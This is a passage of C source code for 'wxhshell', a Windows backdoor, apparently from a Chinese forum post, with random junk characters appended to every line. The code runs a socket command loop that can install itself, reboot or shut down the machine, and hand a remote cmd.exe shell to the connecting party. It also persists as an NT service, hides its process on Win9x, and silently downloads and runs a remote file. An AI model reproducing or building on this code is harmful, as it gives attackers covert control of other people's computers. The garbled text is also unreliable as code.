  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z!Y ^iN  
  } *M*:3 v 0  
  else { :cv_G;?  
PxENLQ3a=  
    switch(cmd[0]) { )L?JH?$C  
  ^:Vwblv(  
  // 帮助 i*`;/x'+  
  case '?': { o,a 3J:j]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SWujj,-[  
    break; >mzK96  
  } `$|!h-"  
  // 安装 wpw~[xd  
  case 'i': { V9 <!pMj  
    if(Install()) uVJ;1H!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0*?~I;.2m$  
    else 9N^&~O|1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PfTjC"`,  
    break; "T4Z#t  
    } Fxwe,  
  // 卸载 Jt6~L5[_s  
  case 'r': { \& 6  
    if(Uninstall()) #7OUqp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1X\dH<B}  
    else JwR]!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LO8V*H(  
    break; Bfw]#"N`  
    } h amn9  
  // 显示 wxhshell 所在路径 OZdiM&Zss  
  case 'p': { $Oa} U3  
    char svExeFile[MAX_PATH]; Y=JfV  
    strcpy(svExeFile,"\n\r"); 7B GMG|  
      strcat(svExeFile,ExeFile); ]Auk5M+  
        send(wsh,svExeFile,strlen(svExeFile),0); > t *+FcD  
    break; 3QSP](W-(  
    } *7<5 G{  
  // 重启 IDbqhZp(  
  case 'b': { E.kGBA;a?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X-Y:)UT  
    if(Boot(REBOOT)) i,>yIPBU!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N( 0G!sTI  
    else { [@MV[$W5  
    closesocket(wsh); Ij>IL!  
    ExitThread(0); F8S -H"  
    } 8:c[_3w  
    break; U CzIOxp}  
    } :Rc>=)<7  
  // 关机 gV]]?X&  
  case 'd': { .]`LR@qf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6?n AO  
    if(Boot(SHUTDOWN)) l@ vaupg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U-(2;F)  
    else { e W&;r&26  
    closesocket(wsh); s-]k7a 2V  
    ExitThread(0); o9-b!I2  
    } 5tI4m#y2  
    break; VA*~R S  
    } .-t#wXEi  
  // 获取shell }MAvEaUd  
  case 's': { 7(B|NYq  
    CmdShell(wsh); G v(bD6Rz  
    closesocket(wsh); VR/7CI4=  
    ExitThread(0); T-x1jC!B'  
    break; FWqnlK#  
  } C YA#:  
  // 退出 L<bZVocOb_  
  case 'x': { 37'@,*m`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pfS?:f<+6"  
    CloseIt(wsh); txM R[o_  
    break; W,~s0a!  
    } K 8CjZpzq  
  // 离开 >}{'{ Z &  
  case 'q': { 6v7H?4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cw1Jl5OVZ  
    closesocket(wsh); }Th":sin},  
    WSACleanup(); 1(6B|w5+  
    exit(1); VP^Yph 8R  
    break; _[}r2,e  
        } [v$_BS#u^3  
  } F4+mkB:w*7  
  } yyZ}qnbx]  
$#ks`$v M  
  // 提示信息 .ruGS.nS4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7e$\|~<  
} :<Z*WoEmt  
  } DueQ1+ P  
Am3^3>  
  return; m[&]#K6  
} !Irmc*;QE  
>Ya+#j~CZ  
// shell模块句柄 "orZje9AC  
int CmdShell(SOCKET sock) C$`z23E  
{ WHxq-&=  
STARTUPINFO si; #UGtYD}"  
ZeroMemory(&si,sizeof(si)); tK)E*!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {`fhcEC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^SnGcr|a'  
PROCESS_INFORMATION ProcessInfo; ##VS%&{  
char cmdline[]="cmd"; )qs>Z?7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h,B ]5Of  
  return 0; `9M:B&  
} a>A29*q  
d K|6p_  
// 自身启动模式 wic"a Y<m  
int StartFromService(void) j48cI3C  
{ lC&U9=7W  
typedef struct m@o/W  
{ )M(;:#le  
  DWORD ExitStatus; ]CyWL6 z  
  DWORD PebBaseAddress; INrl^P*  
  DWORD AffinityMask; ?H8w/{J   
  DWORD BasePriority; LY}%|w  
  ULONG UniqueProcessId; {>[,i`)  
  ULONG InheritedFromUniqueProcessId; nWpqAb  
}   PROCESS_BASIC_INFORMATION; K~"uZa^s  
y BF3Lms  
PROCNTQSIP NtQueryInformationProcess; 1<a+91*=e  
HFYN(nz}[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v-2_#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =*0<.Lo':  
5D0O.v  
  HANDLE             hProcess; ]S+NH[g+  
  PROCESS_BASIC_INFORMATION pbi; I3uS?c  
BeZr5I"`}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s.z(1MB]  
  if(NULL == hInst ) return 0; nQ>?{"  
bqpy@WiI S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v^2q\A-?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z zL@3/<j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G3]TbU!!T  
& Ji!*~sE  
  if (!NtQueryInformationProcess) return 0; e"HA.t[A  
9[}L=n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c!l=09a~a+  
  if(!hProcess) return 0; /bm$G"%d  
Dz$GPA   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d*80eB9P  
71`)@y,Z,  
  CloseHandle(hProcess); (VeX[*}I  
0NlC|5ma)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z{"/Ae5]  
if(hProcess==NULL) return 0; xu9K\/{7  
yT<6b)&*&  
HMODULE hMod; kj_ o I5<'  
char procName[255]; Y?Ph%i2E  
unsigned long cbNeeded; BUR96YN.  
 ! K:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2LS03 27  
$g? ]9}p  
  CloseHandle(hProcess); ktX\{g!U  
SSH))zJ  
if(strstr(procName,"services")) return 1; // 以服务启动 4%#Y)z o.e  
A/eZnsk  
  return 0; // 注册表启动 ;{mKt%#  
} Q;A1&UA2  
._2#89V  
// 主模块 C+ \c(M a  
int StartWxhshell(LPSTR lpCmdLine) &&Ruy(&]I  
{ H +Dv-*i  
  SOCKET wsl; NN(ZH73  
BOOL val=TRUE; [-}LEH1[p  
  int port=0; :&*Y Io  
  struct sockaddr_in door; kY d'6+m  
6lW\-h`N G  
  if(wscfg.ws_autoins) Install(); O  |45r   
s|*0cK!K^  
port=atoi(lpCmdLine); PuyJ:#a  
dw'&Av' |E  
if(port<=0) port=wscfg.ws_port; &sh5|5EC  
@ol}~&"  
  WSADATA data; kg0X2^#b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K?]><z{  
5Ii`|?vg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]B8`b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); er<yB#/;-  
  door.sin_family = AF_INET; \YXzq<7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H&$L1CrdL  
  door.sin_port = htons(port); X/< zxM  
T22 4L.?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )\nKr;4MH  
closesocket(wsl); ylFoYROO  
return 1; ..FEyf  
} EI+RF{IKh  
FA5|`  
  if(listen(wsl,2) == INVALID_SOCKET) { <Wd#HKIG>l  
closesocket(wsl); zG IxmJ.  
return 1; NUSb7<s,&Y  
} FM{^ND9x  
  Wxhshell(wsl); Jd]kg,/  
  WSACleanup(); Sj=x.Tr\  
R y47Fze  
return 0; +Tf4SJ  
\zCw&#D0Z  
} rdQKzJiX=U  
2Dc2uU@`r  
// 以NT服务方式启动 Mz59ac  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KM-d8^\:  
{ y$Nqw9  
DWORD   status = 0; fBj-R~;0  
  DWORD   specificError = 0xfffffff; 6&J7=g%G  
.ei5+?V<i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]Rk4"i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5%r:hO @S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $@Bd}35 J  
  serviceStatus.dwWin32ExitCode     = 0; 8-|| Nh  
  serviceStatus.dwServiceSpecificExitCode = 0; ,1K`w:uhS  
  serviceStatus.dwCheckPoint       = 0; !B*l'OJw  
  serviceStatus.dwWaitHint       = 0; #_3-(H5u  
9<P%?Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g2LvojR  
  if (hServiceStatusHandle==0) return; 3&c'3y:b  
g3%x"SlIU  
status = GetLastError(); ErsJWp  
  if (status!=NO_ERROR) vKdS1Dn1  
{ lY,9bSF$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; " ? V;C  
    serviceStatus.dwCheckPoint       = 0; !rqs!-cCQ  
    serviceStatus.dwWaitHint       = 0; ff fWvf  
    serviceStatus.dwWin32ExitCode     = status; Jzy:^PObT  
    serviceStatus.dwServiceSpecificExitCode = specificError; hmb=_W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b!"qbC1  
    return; X ) =-a  
  } |r+hj<K  
L-q)48+^k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !>K=@9NC|.  
  serviceStatus.dwCheckPoint       = 0; NP~3!b  
  serviceStatus.dwWaitHint       = 0; Xfg?\j/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E J6|y'  
} |-GbHfz  
'?{L gj^R  
// 处理NT服务事件,比如:启动、停止 { M[iYFg=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q="ymx~  
{ pMUUF5  
switch(fdwControl) lq  Av  
{ Yc5) ^v  
case SERVICE_CONTROL_STOP: 6Ol)SQE,  
  serviceStatus.dwWin32ExitCode = 0; XwU1CejP0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nAj +HLO  
  serviceStatus.dwCheckPoint   = 0; ;1TQr3w  
  serviceStatus.dwWaitHint     = 0; Gh%dVP9B@P  
  { $O\]cQD`u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HGj[\kU~  
  } # .OCoc  
  return; hrfSe$8  
case SERVICE_CONTROL_PAUSE: /KO2y0`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YB]^Y^"e  
  break; MP Q?Q]'  
case SERVICE_CONTROL_CONTINUE: j(_6.zf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o1 &Oug  
  break; nqcD#HUv  
case SERVICE_CONTROL_INTERROGATE: kH62#[J)yM  
  break; N\hHu6  
}; lOIf4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dda*gq/p  
} dJ{'b '#  
h~&5;  
// 标准应用程序主函数 eI5W; Q4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {8~xFYc:  
{ p,OB;Ncf/  
il:RE8  
// 获取操作系统版本 z }P1+Pm  
OsIsNt=GetOsVer(); P;p20+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nqib`U@"  
Aq&H-g]s  
  // 从命令行安装 )TkXdA?.  
  if(strpbrk(lpCmdLine,"iI")) Install(); P# Z+:T  
mS-{AK  
  // 下载执行文件 {,o =K4CD  
if(wscfg.ws_downexe) { FS6ZPjG)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]y/!GFQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); G:|=d0  
} 8lT2qqlr  
e5m-7{h@  
if(!OsIsNt) { PZCOJK  
// 如果时win9x,隐藏进程并且设置为注册表启动 +{ {'3=x9  
HideProc(); 2E=vMAS  
StartWxhshell(lpCmdLine); qMmhmH)Gp  
} vA@\V)s  
else `bRt_XGPmF  
  if(StartFromService()) ?h|w7/9  
  // 以服务方式启动 vsCy?  
  StartServiceCtrlDispatcher(DispatchTable); |gJI}"T  
else mMtX:  
  // 普通方式启动 )?,X\/5  
  StartWxhshell(lpCmdLine); ch:0qgJ  
mM;p 7 sJ  
return 0; CXhE+oS5z'  
}
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只看该作者 1 发表于: 2006-10-10
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